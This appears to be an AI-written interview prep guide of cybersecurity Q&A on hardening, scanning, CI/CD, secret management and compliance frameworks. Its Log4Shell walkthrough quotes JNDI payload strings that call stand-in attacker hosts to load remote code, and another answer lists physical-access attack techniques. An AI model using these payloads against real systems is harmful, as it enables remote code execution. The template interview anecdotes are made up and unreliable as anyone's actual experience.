SSL/TLS: Require encrypted connections

Network: Listen only on needed interfaces, firewall

Updates: Apply security patches promptly

Audit: pgaudit extension for logging

Row-level security: RLS policies for fine-grained access

Backup: Encrypted backups, test restores

Hardening: Disable unnecessary extensions, remove default databases

Our DB was stolen/exfiltrated. It was secured with one round of sha256 with a static salt. What do we do now? Are we at risk? What do we change?

Immediate actions:

Notify affected users: Mandatory password reset

Disclosure: Comply with data breach notification laws

Monitoring: Watch for credential stuffing attacks

Investigation: How was DB accessed? Close that vector

Risk assessment:

High risk: SHA256 with static salt is weak

Single round is fast to crack with GPUs

Static salt means rainbow tables partially useful

All passwords compromised should be assumed

Changes required:

Password hashing: Switch to bcrypt, scrypt, or Argon2

Unique salts: Per-user random salts

Key stretching: High iteration counts (slows brute force)

Pepper: Application-level secret in addition to salt

Review: All security controls, access logs

Implement: MFA, anomaly detection

Incident response: Formalize IR plan

Long-term: Regular security audits, penetration testing, security awareness training.

What are the 6 aggregate functions of SQL?

COUNT(): Number of rows/non-null values

SUM(): Total of numeric values

AVG(): Average of numeric values

MIN(): Minimum value

MAX(): Maximum value

GROUP BY: (Not a function but groups rows for aggregation)

Additional: STDDEV(), VARIANCE() in some databases.

Tools and Games

Have I played CTF?

(This is personal to you - I'll provide what you might say based on your background)

"While I haven't competed extensively in CTFs, I've engaged with CTF-style challenges to strengthen my security knowledge, particularly around web application vulnerabilities, cryptography, and network analysis. My professional focus has been on production security, payment systems, and enterprise solutions, but I appreciate how CTFs develop creative problem-solving skills relevant to real-world security."

What CND tools do you have knowledge or experience with?

Computer Network Defense tools:

SIEM: Splunk, ELK Stack, QRadar

IDS/IPS: Snort, Suricata, Zeek (Bro)

Network monitoring: Wireshark, tcpdump, NetFlow analyzers

Vulnerability scanning: Nessus, OpenVAS, Qualys

Endpoint protection: CrowdStrike, Carbon Black, Windows Defender

Firewall: Palo Alto, Check Point, iptables

Cloud security: AWS GuardDuty, Security Hub, CloudTrail

Log analysis: Splunk, ELK, Graylog

Forensics: Volatility, Autopsy, FTK

(Adjust based on your actual experience)

What is the difference between nmap -sS and nmap -sT?

nmap -sS (SYN scan):

"Stealth" or half-open scan

Sends SYN, receives SYN-ACK, sends RST instead of ACK

Doesn't complete TCP handshake

Less likely to be logged by application

Requires root/admin privileges

Faster, default scan type

nmap -sT (TCP connect scan):

Full TCP connection

Completes three-way handshake

More likely to be logged

Doesn’t require privileges

Slower

Used when SYN scan not available

How would you filter xyz in Wireshark?

Common Wireshark filters:

Protocol: http, tcp, udp, dns, ssh

IP: ip.addr == 192.168.1.1, ip.src == 10.0.0.1

Port: tcp.port == 80, udp.port == 53

HTTP: http.request.method == “POST”, http.host == “example.com”

Combinations: tcp.port == 443 && ip.addr == 192.168.1.1

Contains: tcp contains “password”

Flags: tcp.flags.syn == 1 && tcp.flags.ack == 0

Follow stream: Right-click packet → Follow → TCP Stream

Display filters vs. capture filters (BPF syntax).

If left alone in office with access to a computer, how would you exploit it?

Physical access attack:

Live USB: Boot to Kali Linux, mount hard drive, extract data

Rubber Ducky: USB that types malicious commands (HID attack)

Keylogger: Hardware keylogger between keyboard and PC

Network tap: Intercept network cable, passive monitoring

DMA attack: FireWire/Thunderbolt to access memory

BIOS password reset: Remove CMOS battery

Screen unlock: Use tools to reset Windows password

Malware USB: Social engineering - labeled “Executive Salaries” left on desk

Network info: Check saved WiFi passwords, browser credentials

Webcam: Enable recording for espionage

Reality: Physical access = game over. This emphasizes physical security importance.

How would you use CI/CD to improve security?

Security in CI/CD pipeline:

SAST: Static analysis during build (SonarQube, Checkmarx)

Dependency scanning: Check for vulnerable libraries (Snyk, OWASP Dependency-Check)

Secret scanning: Detect committed credentials (git-secrets, TruffleHog)

DAST: Dynamic testing in staging (OWASP ZAP, Burp)

Container scanning: Scan Docker images (Clair, Trivy, Aqua)

Infrastructure as Code: Scan Terraform/CloudFormation (Checkov, tfsec)

Automated testing: Security test cases in test suite

Compliance checks: Policy-as-code (Open Policy Agent)

Immutable infrastructure: Reduce config drift

Pipeline security: Secure CI/CD tools, restrict access, audit logs

Shift-left approach: Find vulnerabilities early in development.

You have a pipeline for Docker images. How would you design everything to ensure the proper security checks?

Secure Docker pipeline:

Base images: Use minimal, official images; maintain approved list

Image scanning: Clair, Trivy, Aqua before pushing to registry

Vulnerability thresholds: Fail build on critical/high CVEs

Dependency tracking: Bill of materials, track transitive dependencies

Secret management: Never bake secrets in images, use runtime injection

Image signing: Docker Content Trust, Notary

Private registry: Restrict access, scan at rest

Runtime security: Seccomp profiles, AppArmor, read-only filesystems

Least privilege: Non-root user in containers

Immutable tags: Never overwrite tags, use SHA digests

Continuous scanning: Re-scan registry for new vulnerabilities

Policy enforcement: Admission controllers (OPA, Kyverno)

How would you create a secret storage system?

Secret management system design:

Storage: Encrypt at rest (AES-256), use HSM if possible

Access control: Role-based, principle of least privilege

Encryption: Envelope encryption (data encryption key encrypted by master key)

Key management: Separate key storage, key rotation, multiple key versions

Audit logging: All access logged, tamper-proof logs

Authentication: Strong auth required (mTLS, IAM roles, tokens)

Versioning: Track secret history, rollback capability

Dynamic secrets: Generate short-lived credentials when possible

Secret rotation: Automated rotation schedules

Compliance: Meet SOC2, PCI-DSS requirements

High availability: Distributed, fault-tolerant

Integration: APIs for applications, CLI for ops

Options: HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, CyberArk

How would you harden your work laptop if you needed it at Defcon?

Defcon laptop hardening:

Fresh install: Clean OS before conference

VPN: Always-on VPN, never trust conference WiFi

Firewall: Block all incoming, whitelist outgoing

Disable: Bluetooth, NFC, automatic WiFi connection

Encryption: Full disk encryption, encrypted volumes

No sensitive data: Don’t bring anything you can’t lose

Physical: Privacy screen, webcam cover, never leave unattended

Software: Minimal applications, no browser saved passwords

Network: Use cellular hotspot instead of venue WiFi

Updates: Fully patched before attending

Monitoring: Enable logging, watch for anomalies

Separate: Use burner laptop if possible

Post-conference: Wipe and reinstall OS

If you had to set up supply chain attack prevention, how would you do that?

Supply chain security:

Vendor assessment: Security questionnaires, audits

SBOM: Software Bill of Materials for all components

Dependency scanning: Continuous monitoring for vulnerabilities

Dependency pinning: Lock specific versions, verify checksums

Private mirrors: Host approved dependencies internally

Code signing: Verify signatures of all third-party code

Build process: Reproducible builds, isolated build environments

Network segmentation: Isolate build systems

Zero trust: Verify every component, never assume trust

Monitoring: Detect anomalous behavior in dependencies

Incident response: Plan for compromised dependencies

Compliance: SLSA framework, NIST SSDF

Recent examples: SolarWinds, Log4Shell highlight importance.

Programming and Code

How would you conduct a security code review?

Code review process:

Understand context: Application architecture, threat model

Automated scanning: SAST tools first (SonarQube, Fortify)

Focus areas:

Input validation and sanitization

Authentication and authorization logic

Cryptography implementation

Error handling and logging

Database queries (SQL injection)

File operations

API security

Session management

Hardcoded secrets

OWASP Top 10: Check for common vulnerabilities

Logic flaws: Business logic vulnerabilities

Dependencies: Third-party library vulnerabilities

Security controls: Verify proper implementation

Manual review: Critical paths, authentication flows

Peer discussion: Collaborate with developers

Documentation: Clear findings, remediation guidance

How can Github webhooks be used in a malicious way?

Malicious webhook uses:

Data exfiltration: Webhook sends code/commits to attacker

SSRF: Webhook URL points to internal services

Secrets exposure: Webhook receives secrets in payloads

Spam/DoS: Create many repos/commits to flood webhook endpoint

Unauthorized access: Compromised webhook credential used for attacks

Supply chain: Malicious webhook in popular repo affects many users

Information gathering: Learn about infrastructure from webhook config

Mitigations: Validate webhook signatures, whitelist webhook IPs, least privilege for webhook credentials, monitor webhook activity.

If I hand you a repo of source code to security audit what’s the first few things you would do?

Initial audit steps:

Reconnaissance:

Read README, understand application purpose

Identify technology stack

Review dependencies (package.json, requirements.txt)

Automated scanning:

SAST tools

Dependency vulnerability scanning

Secret scanning (git history too)

Entry points: Identify inputs, APIs, user interactions

Configuration review: Database configs, API keys, environment variables

Authentication/Authorization: How users are authenticated, access controlled

High-risk areas:

Database queries

File uploads

User input handling

External API calls

Git history: Look for removed secrets, security fixes

Documentation: Existing security docs, policies

Can I write a tool that would search our Github repos for secrets, keys, etc.? Slack? AWS? Etc.

Secret scanning tools:

GitHub:

TruffleHog: Scans git history for high-entropy strings

git-secrets: Prevents committing secrets

Gitleaks: Fast secret scanner

GitHub Secret Scanning: Native GitHub feature

Slack:

Slack audit logs: Review shared files, messages

Custom scripts: Slack API to search for patterns

DLP tools: Third-party Slack DLP solutions

AWS:

AWS Config: Track configuration changes

CloudTrail: Audit API calls

Access Analyzer: Identify unintended access

GuardDuty: Detect compromised credentials

Multi-platform:

grep/ripgrep: Pattern matching for API keys

SIEM: Centralize logs, search for secret patterns

Regex patterns: Match common key formats (AWS: AKIA...)

Considerations: False positives, performance, scope (active repos vs. archives), remediation workflow.

Given a CVE, walk us through it and how the solution works.

Example: CVE-2021-44228 (Log4Shell)

Vulnerability:

Apache Log4j 2 JNDI injection

Attacker-controlled string logged by application

String contains JNDI lookup: ${jndi:ldap://evil.com/exploit}

Log4j performs JNDI lookup, loads remote class

Remote code execution achieved

Attack flow:

Attacker sends: ${jndi:ldap://attacker.com/Exploit}

Log4j processes string, sees JNDI lookup

Connects to attacker’s LDAP server

Downloads and executes malicious Java class

Solution:

Update: Upgrade to Log4j 2.17.1+ (JNDI disabled by default)

Mitigation: Set log4j2.formatMsgNoLookups=true

Disable: JNDI lookup feature if update not immediately possible

WAF rules: Block JNDI patterns in requests

Network: Block outbound LDAP connections

Detection: Scan for vulnerable versions, check logs for JNDI patterns.

Tell me about a repetitive task at work that you automated away.

(This should be specific to your experience. I'll provide a template based on your fintech background)

"At PayPal, I automated the technical onboarding documentation process for new enterprise merchants. Previously, integration guides were manually customized for each client, taking 4-6 hours per merchant. I created a Python script that generated tailored API documentation based on the merchant's product selection, payment methods, and compliance requirements. The script pulled data from our internal systems, populated templates, and generated PDF documentation. This reduced documentation time to 15 minutes and eliminated errors from manual copying. The tool became part of our standard onboarding workflow and was later adopted by other regional teams."

How would you analyze a suspicious email link?

Email link analysis:

Don't click: Never click suspicious links

Hover: Check actual URL (not display text)

URL analysis:

Domain: Is it legitimate? Typosquatting?

Subdomain: Unusual subdomain?

URL shortener: Expand it (urlex.org, getlinkinfo.com)

Sandbox: Visit in isolated environment (VM, URLScan.io, VirusTotal)

Reputation: Check domain reputation (Cisco Talos, VirusTotal)

WHOIS: Domain registration date, registrar

SSL certificate: Check certificate, issuer

Content: What loads? Credential phishing form?

Network traffic: Monitor connections in sandbox

Email headers: Check SPF, DKIM, DMARC, originating IP

Tools: URLScan.io, VirusTotal, ANY.RUN, Hybrid Analysis, PhishTool

Compliance

Can you explain SOC 2?

SOC 2 (Service Organization Control 2):

Audit framework by AICPA

Evaluates service providers' controls around data security

Voluntary compliance (not regulatory)

Important for SaaS companies, cloud providers

Two types:

Type I: Controls designed properly at specific point in time

Type II: Controls operating effectively over period (6-12 months)

Process: Audit by CPA firm, results in confidential report for customers.

What are the five trust criteria?

SOC 2 Trust Service Criteria:

Security: Protection against unauthorized access

Availability: System available for operation and use as committed

Processing Integrity: System processing is complete, accurate, timely, authorized

Confidentiality: Information designated as confidential is protected

Privacy: Personal information collected, used, retained, disclosed, disposed per commitments

All SOC 2 audits include Security; others are optional based on services provided.

How is ISO27001 different?

ISO 27001 vs. SOC 2:

ISO 27001:

International standard

Information Security Management System (ISMS)

Certification (public certificate)

114 controls in Annex A

More prescriptive

Global recognition

Self-declaration or third-party certification

SOC 2:

US-based

Trust Service Criteria

Report (confidential to customers)

Flexible controls

More flexible, risk-based

US market focused

Always third-party audit

Common ground: Both demonstrate security commitment, require regular audits, involve policies and controls.

Can you list examples of controls these frameworks require?

Common security controls:

Access control: MFA, least privilege, role-based access

Encryption: Data at rest and in transit

Logging and monitoring: Audit trails, SIEM

Incident response: Plan, testing, documentation

Backup and recovery: Regular backups, tested restores

Vulnerability management: Scanning, patching

Change management: Approval process, documentation

Security awareness training: Annual training for all staff

Vendor management: Due diligence, contracts

Risk assessment: Annual assessments, treatment plans

Physical security: Datacenter access controls

Business continuity: DR plan, annual testing

What is the difference between Governance, Risk and Compliance?

GRC framework:

Governance:

Leadership, policies, decision-making structure

Strategic direction for security program

Oversight and accountability

Security steering committee

Question: “Who decides?”

Risk:

Identifying, assessing, mitigating risks

Risk appetite and tolerance

Risk register, treatment plans

Continuous monitoring

Question: “What could go wrong?”

Compliance:

Meeting legal, regulatory, contractual obligations

GDPR, HIPAA, PCI-DSS, SOC 2

Audits, assessments, evidence collection

Remediation of findings

Question: “Are we meeting requirements?”

Together: Holistic approach to organizational security and risk management.

What does Zero Trust mean?

Zero Trust security model:

“Never trust, always verify”

No implicit trust based on network location

Assume breach mindset

Verify every access request, regardless of source

Principles:

Verify explicitly: Always authenticate and authorize

Least privilege: Minimal access required for task

Assume breach: Minimize blast radius, segment access

Implementation:

Identity-based access

Micro-segmentation

Multi-factor authentication

Continuous monitoring

Device health verification

Encrypt everything

Contrasts with perimeter-based security (castle-and-moat model).

What is role-based access control (RBAC) and why is it covered by compliance frameworks?

RBAC:

Access control model based on roles

Users assigned to roles, roles granted permissions

Simplifies permission management

Supports least privilege principle

Example:

Role: “Database Administrator”

Permissions: Read, write, backup databases

Users: John, Sarah assigned to role

Why in compliance:

Least privilege: Core security principle

Auditability: Clear who has what access

Segregation of duties: Prevents fraud

Accountability: Track actions to roles

Scalability: Easier to manage large orgs

Required by PCI-DSS, HIPAA, SOX, SOC 2, ISO 27001.

What is the NIST framework and why is it influential?

NIST Cybersecurity Framework (CSF):

Published by National Institute of Standards and Technology

Voluntary framework for managing cybersecurity risk

Widely adopted across industries, globally

Five core functions:

Identify: Understand assets, risks, vulnerabilities

Protect: Implement safeguards

Detect: Identify security events

Respond: Take action on detected incidents

Recover: Restore capabilities after incident

Why influential:

Industry-agnostic

Risk-based, flexible

Aligns with other frameworks

Free, non-proprietary

US government recommended

Insurance companies recognize it

Board-friendly language

Helps organizations assess maturity, communicate risk to executives.